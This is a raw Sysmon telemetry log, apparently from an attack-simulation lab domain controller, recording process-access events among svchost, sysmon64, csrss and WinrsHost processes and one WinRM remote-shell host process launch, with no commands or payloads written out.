09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002456Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002455Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002454Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002453Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002452Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002451Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002450Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BF-5F80-1300-000000007F01}12641684C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7400-000000007F01}4140C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000002449Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002448Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002447Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28E7-5F80-7600-000000007F01}4216C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002446Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7600-000000007F01}4216C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002445Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.536{A5F018FF-28E7-5F80-7600-000000007F01}4216C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-28E6-5F80-9D2B-040000000000}0x42b9d0HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000002444Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7400-000000007F01}4140C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002443Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.511{A5F018FF-28E7-5F80-7500-000000007F01}41524172C:\Windows\system32\conhost.exe{A5F018FF-28E7-5F80-7400-000000007F01}4140C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002442Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.511{A5F018FF-28BF-5F80-1300-000000007F01}12641420C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7200-000000007F01}748C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000002441Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.511{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-28E7-5F80-7500-000000007F01}4152C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002440Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.511{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002439Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.511{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002438Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002437Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002436Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002435Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.496{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002434Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.496{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002433Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.496{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002432Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.496{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002431Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 